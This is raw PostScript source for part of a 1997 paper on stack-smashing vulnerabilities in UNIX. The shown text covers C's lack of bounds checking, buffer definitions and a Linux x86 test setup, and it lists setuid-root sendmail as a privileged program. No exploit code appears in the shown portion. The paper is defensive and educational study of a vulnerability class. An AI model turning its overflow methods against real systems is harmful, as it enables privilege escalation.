15.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D -0.400 0 (\223)A -0.300 0 (f)A -0.400 0 (ea)A 0.200 0 (t)A (u)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (u)S -0.300 0 (r)A (n)S -0.400 0 (e)A 15.000 0 32 (d d)W -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A 15.000 0 32 (n )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (a)A -0.200 0 (w)A 15.400 0 32 -0.400 0 (\224 )D 0.200 0 (i)A 14.900 0 32 0.100 0 (s )D -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (iti)A -0.400 0 (ca)A 14.800 0 32 0.200 0 (l i)D 15.000 0 32 (n )W -0.400 0 (c)A (on)S 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A (u)S -0.400 0 (c)A 0.200 0 (ti)A (n)S 17.000 0 32 -1.000 0 (g )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 16.300 0 32 -0.300 0 (r )D (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4192 M 0.144 0 (exploits.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_117) cvn F2 117 xF F2_117 Ji 612 4370 M 0.029 0 (5. UNIX and the C programming language)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4575 M -0.100 0 (T)A (h)S 3.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m i)D 2.900 0 32 0.100 0 (s )D 0.200 0 (i)A (n)S -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (ca)A (b)S 0.200 0 (l)A 6.000 0 32 -3.000 0 (y )D 0.200 0 (li)A (nk)S -0.400 0 (e)A 4.000 0 32 (d )W 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 3.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3391 4575 M (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 5.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 4.000 0 32 (. )W -0.200 0 (A)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4752 M (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 23.000 0 32 -1.000 0 (g )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 22.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A (v)S 0.200 0 (l)A (op)S -0.400 0 (e)A 22.000 0 32 (d b)W 25.000 0 32 -3.000 0 (y )D -0.200 0 (D)A -0.400 0 (e)A (nn)S 0.200 0 (i)A 21.900 0 32 0.100 0 (s )D 0.300 0 (R)A 0.200 0 (it)A -0.400 0 (c)A (h)S 0.200 0 (i)A 23.400 0 32 -0.400 0 (e a)D 22.800 0 32 0.200 0 (t )D -0.200 0 (A)A -0.100 0 (T)A -0.800 0 (&)A 23.100 0 32 -0.100 0 (T )D -0.700 0 (B)A -0.400 0 (e)A 22.800 0 32 0.200 0 (ll )D -2.100 0 (L)A -0.400 0 (a)A (b)S 22.900 0 32 0.100 0 (s )D 0.200 0 (i)A 23.000 0 32 (n 1972, )W 22.700 0 32 0.300 0 (C )D -0.200 0 (w)A -0.400 0 (a)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4929 M (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A (n)S -0.400 0 (e)A 8.000 0 32 (d )W 0.200 0 (t)A 8.000 0 32 (o )W -1.000 0 (g)A 0.200 0 (i)A (v)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 8.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 9.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 8.800 0 32 0.200 0 (m t)D (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A (p)S -0.400 0 (ee)A 9.000 0 32 (d )W -0.400 0 (a)A 9.000 0 32 (nd )W -0.300 0 (f)A 0.200 0 (l)A -0.400 0 (e)A 1.000 0 (x)A 0.200 0 (i)A (b)S 0.200 0 (ilit)A 12.000 0 32 -3.000 0 (y )D (o)S 9.300 0 32 -0.300 0 (f )D -0.400 0 (a)A 0.100 0 (ss)A -0.400 0 (e)A 0.200 0 (m)A (b)S 0.200 0 (l)A 12.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5106 M -0.200 0 (A)A 2.800 0 32 0.200 0 (ll m)D (od)S -0.400 0 (e)A -0.300 0 (r)A 3.000 0 32 (n )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 3.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 4.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 2.800 0 32 0.200 0 (m )D -0.400 0 (a)A -0.300 0 (r)A 3.400 0 32 -0.400 0 (e )D -0.200 0 (w)A -0.300 0 (r)A 0.200 0 (itt)A -0.400 0 (e)A 3.000 0 32 (n )W 0.200 0 (i)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e )D 2.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5283 M -0.161 0 (language, including system binaries and the kernel. )A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 5460 M 0.600 0 (W)A (h)S -0.400 0 (a)A 8.800 0 32 0.200 0 (t )D 8.700 0 32 0.300 0 (C )D -1.000 0 (g)A -0.400 0 (a)A 0.200 0 (i)A (n)S 8.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.000 0 32 (n )W 0.100 0 (s)A 0.200 0 (im)A (p)S 0.200 0 (li)A -0.400 0 (c)A 0.200 0 (it)A 13.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 10.000 0 32 (nd )W -0.400 0 (e)A -0.300 0 (ff)A 0.200 0 (i)A -0.400 0 (c)A 0.200 0 (i)A -0.400 0 (e)A (n)S -0.400 0 (c)A -3.000 0 (y)A 10.000 0 32 (, )W 9.800 0 32 0.200 0 (it )D 0.100 0 (s)A -0.400 0 (ac)A -0.300 0 (r)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (ce)A 9.900 0 32 0.100 0 (s )D 0.200 0 (i)A 10.000 0 32 (n )W 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (m)A 9.900 0 32 0.100 0 (s )D (o)S 10.300 0 32 -0.300 0 (f )D (d)S -0.400 0 (a)A 0.200 0 (t)A 10.400 0 32 -0.400 0 (a )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A 13.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (nd)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 5637 M -0.400 0 (ea)A 0.100 0 (s)A 9.400 0 32 -0.400 0 (e )D (o)S 9.300 0 32 -0.300 0 (f )D (u)S 0.100 0 (s)A -0.400 0 (e)A 9.000 0 32 (. )W -0.100 0 (T)A (h)S 9.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (nd)S -0.400 0 (a)A -0.300 0 (r)A 9.000 0 32 (d )W 8.700 0 32 0.300 0 (C )D 0.200 0 (li)A (b)S -0.300 0 (r)A -0.400 0 (a)A -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 9.000 0 32 (n )W 0.200 0 (m)A (o)S 0.100 0 (s)A 8.800 0 32 0.200 0 (t )D -0.200 0 (UN)A -2.300 0 (I)A 10.200 0 32 -0.200 0 (X )D 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 9.900 0 32 0.100 0 (s )D 0.200 0 (i)A 9.900 0 32 0.100 0 (s )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 10.000 0 32 (o bu)W -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A ; 586 1709 N M 6 6 rr : 0 0 0 sco O ; 586 1709 N M 6 6 rr : 0 0 0 sco O ; 592 1709 N M 3820 6 rr : 0 0 0 sco O ; 4412 1709 N M 6 6 rr : 0 0 0 sco O ; 4412 1709 N M 6 6 rr : 0 0 0 sco O ; 586 1715 N M 6 87 rr : 0 0 0 sco O ; 4412 1715 N M 6 87 rr : 0 0 0 sco O ; : 511 1709 3982 328 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 612 1802 M -0.200 0 (bash# ls -agl /usr/sbin/sendmail)A ; 586 1802 N M 6 71 rr : 0 0 0 sco O ; 4412 1802 N M 6 71 rr : 0 0 0 sco O ; : 511 1709 3982 328 rc 0 0 0 sco F5_67 Ji 612 1873 M -0.200 0 (-r-sr-sr-x 1 root kmem 292686 Mar 11 21:51 /usr/sbin/sendmail)A ; 586 1873 N M 6 71 rr : 0 0 0 sco O ; 4412 1873 N M 6 71 rr : 0 0 0 sco O ; 586 2031 N M 6 6 rr : 0 0 0 sco O ; 586 2031 N M 6 6 rr : 0 0 0 sco O ; 592 2031 N M 3820 6 rr : 0 0 0 sco O ; 4412 2031 N M 6 6 rr : 0 0 0 sco O ; 4412 2031 N M 6 6 rr : 0 0 0 sco O ; 586 1944 N M 6 87 rr : 0 0 0 sco O ; 4412 1944 N M 6 87 rr : 0 0 0 sco O ; LH savelevel1 restore pagesave restore (%%[ Page: 9 ]%%) = %%PageTrailer %%Page: 10 10 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3935 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4128 54 M 0.500 0 (10)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 612 504 M (ov)S -0.400 0 (e)A -0.300 0 (rf)A 0.200 0 (l)A (o)S -0.200 0 (w)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A 4.000 0 32 (nd )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 7.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (ea)A (k)S 0.100 0 (s)A 4.000 0 32 (. )W -0.200 0 (N)A (o)S 3.800 0 32 0.200 0 (t t)D 4.000 0 32 (o b)W 4.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (p)S -0.300 0 (r)A -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (e)A 4.000 0 32 (d )W -0.400 0 (a)A 3.900 0 32 0.100 0 (s )D -0.400 0 (e)A -0.300 0 (rr)A (o)S -0.300 0 (r)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (e)A 0.100 0 (s)A 0.200 0 (i)A -1.000 0 (g)A 4.000 0 32 (n o)W 4.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A -0.400 0 (e)A 4.000 0 32 (, )W 0.300 0 (C)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 681 M -0.400 0 (a)A 0.100 0 (ss)A (u)S 0.200 0 (m)A -0.400 0 (e)A 25.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S 26.400 0 32 -0.400 0 (e )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A 26.300 0 32 -0.300 0 (r )D 0.200 0 (i)A 25.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A (pon)S 0.100 0 (s)A 0.200 0 (i)A (b)S 0.200 0 (l)A 26.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 26.300 0 32 -0.300 0 (r )D (d)S -0.400 0 (a)A 0.200 0 (t)A 26.400 0 32 -0.400 0 (a )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -1.000 0 (g)A -0.300 0 (r)A 0.200 0 (it)A -3.000 0 (y)A 26.000 0 32 (. )W -0.200 0 (O)A (n)S 27.400 0 32 -0.400 0 (ce a )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A 27.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 26.900 0 32 0.100 0 (s )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 858 M 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 18.000 0 32 -3.000 0 (y )D 0.100 0 (s)A (p)S 15.400 0 32 -0.400 0 (ace )D 0.200 0 (i)A 15.000 0 32 (n )W 0.300 0 (C)A 15.000 0 32 (, )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D 0.200 0 (l)A -0.400 0 (a)A (n)S -1.000 0 (g)A (u)S -0.400 0 (a)A -1.000 0 (g)A 15.400 0 32 -0.400 0 (e )D (do)S -0.400 0 (e)A 14.900 0 32 0.100 0 (s )D (no)S 0.200 0 (t)A (h)S 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D 0.200 0 (t)A 15.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 15.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 14.800 0 32 0.200 0 (t t)D (h)S 16.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A (p)S -0.400 0 (ec)A 0.200 0 (t)A -0.400 0 (e)A 16.000 0 32 (d )W -0.400 0 (c)A (on)S 0.200 0 (t)A -0.400 0 (e)A (n)S 0.200 0 (t)A 15.900 0 32 0.100 0 (s )D (o)S 16.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1035 M -0.131 0 (variable fit into the allocated memory.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 1212 M 6.700 0 32 0.300 0 (C )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mm)A -0.400 0 (e)A -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D (o)S -0.300 0 (f)A 0.200 0 (t)A -0.400 0 (e)A 7.000 0 32 (n u)W 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A 6.800 0 32 0.200 0 (m )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 2345 1212 M (bu)S 0.200 0 (ff)A -0.400 0 (e)A 0.100 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2584 1212 M 7.000 0 32 ( )W -0.400 0 (a)A 7.000 0 32 (nd )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 2792 1212 M (a)S 0.100 0 (rr)A (a)S -0.400 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3014 1212 M 7.000 0 32 ( )W 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (c)A (h)S -0.400 0 (a)A (n)S -1.000 0 (g)A -0.400 0 (ea)A (b)S 0.200 0 (l)A 10.000 0 32 -3.000 0 (y )D 0.200 0 (t)A (hu)S 0.100 0 (s)A 7.000 0 32 (, )W 6.800 0 32 0.200 0 (it i)D 6.900 0 32 0.100 0 (s s)D -0.400 0 (a)A -0.300 0 (f)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (o)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1389 M (d)S -0.400 0 (e)A -0.300 0 (f)A 0.200 0 (i)A (n)S 12.400 0 32 -0.400 0 (e a )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 12.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 11.900 0 32 0.100 0 (s )D 12.400 0 32 -0.400 0 (a c)D (on)S 0.200 0 (ti)A -1.000 0 (g)A (uou)S 11.900 0 32 0.100 0 (s )D (b)S 0.200 0 (l)A (o)S -0.400 0 (c)A 12.000 0 32 (k o)W 13.300 0 32 -0.300 0 (f )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 16.000 0 32 -3.000 0 (y )D -0.300 0 (\()A -0.400 0 (c)A (o)S -0.300 0 (r)A -0.400 0 (e)A 13.300 0 32 -0.300 0 (\) )D 0.200 0 (t)A (h)S -0.400 0 (a)A 12.800 0 32 0.200 0 (t )D (ho)S 0.200 0 (l)A (d)S 12.900 0 32 0.100 0 (s )D 0.200 0 (m)A (u)S 0.200 0 (lti)A (p)S 0.200 0 (l)A 13.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A (n)S -0.400 0 (ce)A 12.900 0 32 0.100 0 (s )D (o)S 13.300 0 32 -0.300 0 (f )D -0.400 0 (a)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1566 M 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 0.200 0 (ti)A -0.400 0 (ca)A 5.800 0 32 0.200 0 (l )D (d)S -0.400 0 (a)A 0.200 0 (t)A 6.400 0 32 -0.400 0 (a )D 0.200 0 (t)A -3.000 0 (y)A (p)S -0.400 0 (e)A 6.000 0 32 (. )W -0.200 0 (A)A 5.900 0 32 0.100 0 (s )D -0.200 0 (w)A 0.200 0 (it)A 6.000 0 32 (h )W -0.400 0 (a)A 5.800 0 32 0.200 0 (ll )D (v)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (a)A (b)S 0.200 0 (l)A -0.400 0 (e)A 5.900 0 32 0.100 0 (s )D 0.200 0 (i)A 6.000 0 32 (n )W 0.300 0 (C)A 6.000 0 32 (, bu)W -0.300 0 (ff)A -0.400 0 (e)A -0.300 0 (r)A 5.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 6.400 0 32 -0.400 0 (e )D (d)S -0.400 0 (ec)A 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A 6.000 0 32 (d d)W -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 6.400 0 32 -0.400 0 (c )D (o)S 6.300 0 32 -0.300 0 (r )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A -0.400 0 (c)A 7.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A -0.400 0 (c)A ; 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: 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 2954 M 0.133 0 (6. Tools used for testing)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3188 M -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x)A 17.000 0 32 (, )W 17.400 0 32 -0.400 0 (a )D -0.300 0 (fr)A -0.400 0 (ee)A 0.200 0 (l)A 20.000 0 32 -3.000 0 (y )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 17.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 17.200 0 32 -0.200 0 (X )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 18.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 16.800 0 32 0.200 0 (m )D -0.300 0 (r)A (unn)S 0.200 0 (i)A (n)S 18.000 0 32 -1.000 0 (g )D 17.000 0 32 (on )W -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A 17.800 0 32 0.200 0 (l )D 1.000 0 (x)A 18.000 0 32 (86 h)W -0.400 0 (a)A -0.300 0 (r)A (d)S -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A 18.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3365 M -0.400 0 (a)A 0.100 0 (ss)A (u)S 0.200 0 (m)A -0.400 0 (e)A 3.000 0 32 (d )W -0.300 0 (f)A (o)S 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 3.900 0 32 0.100 0 (s )D 0.200 0 (i)A 4.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 3.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S -3.000 0 (y)A 4.000 0 32 (. )W 0.600 0 (W)A (h)S 0.200 0 (il)A 4.400 0 32 -0.400 0 (e e)D -0.300 0 (ff)A (o)S -0.300 0 (r)A 0.200 0 (t)A 3.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (a)A (d)S 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A 4.000 0 32 (o )W 0.200 0 (i)A (n)S 0.100 0 (s)A (u)S -0.300 0 (r)A 4.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 3.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (e)A 0.100 0 (s)A 4.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3542 M -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (e)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (c)A 1.000 0 32 (, )W 0.200 0 (im)A (p)S 0.200 0 (l)A -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A 1.000 0 32 (on d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 0.900 0 32 0.100 0 (s )D -0.400 0 (a)A -0.300 0 (r)A 1.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 1.000 0 (x )A 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c )D 0.200 0 (i)A 2.000 0 32 (n )W 0.100 0 (s)A (o)S 0.200 0 (m)A 2.400 0 32 -0.400 0 (e )D (p)S 0.200 0 (l)A -0.400 0 (ace)A 0.100 0 (s)A 2.000 0 32 (. )W -0.100 0 (T)A (h)S 2.400 0 32 -0.400 0 (e )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (t)A (hod)S 1.900 0 32 0.100 0 (s )D (p)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A (d)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3719 M 0.200 0 (i)A 30.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 29.900 0 32 0.100 0 (s )D (do)S -0.400 0 (c)A (u)S 0.200 0 (m)A -0.400 0 (e)A (n)S 29.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A 30.400 0 32 -0.400 0 (e )D (no)S 29.800 0 32 0.200 0 (t limit)D -0.400 0 (e)A 30.000 0 32 (d )W 0.200 0 (t)A 30.000 0 32 (o )W 0.200 0 (t)A (h)S 30.400 0 32 -0.400 0 (e )D -2.100 0 (L)A 0.200 0 (i)A (nu)S 29.000 0 32 1.000 0 (x )D (op)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (ti)A (n)S 31.000 0 32 -1.000 0 (g )D 0.100 0 (s)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 29.800 0 32 0.200 0 (m )D (k)S -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 29.800 0 32 0.200 0 (l )D -0.400 0 (a)A 31.000 0 32 (nd h)W -0.400 0 (a)A (v)S 31.400 0 32 -0.400 0 (e )D (b)S -0.400 0 (ee)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3896 M -0.182 0 (reproduced under other UNIX operating systems using near-identical means.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 4073 M -0.100 0 (T)A (h)S 27.400 0 32 -0.400 0 (e )D -0.200 0 (UN)A -2.300 0 (I)A 27.200 0 32 -0.200 0 (X )D 26.700 0 32 0.300 0 (C )D -0.400 0 (c)A (o)S 0.200 0 (m)A (p)S 0.200 0 (il)A -0.400 0 (e)A 27.300 0 32 -0.300 0 (r )D (u)S 0.100 0 (s)A -0.400 0 (e)A 27.000 0 32 (d )W 0.200 0 (i)A 27.000 0 32 (n )W 0.200 0 (t)A (h)S 27.400 0 32 -0.400 0 (e e)D 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A -0.400 0 (e)A 26.900 0 32 0.100 0 (s )D 0.200 0 (i)A 27.000 0 32 (n )W 0.200 0 (t)A (h)S 0.200 0 (i)A 27.900 0 32 0.100 0 (s s)D 0.200 0 (t)A (ud)S 31.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 27.900 0 32 0.100 0 (s )D 0.200 0 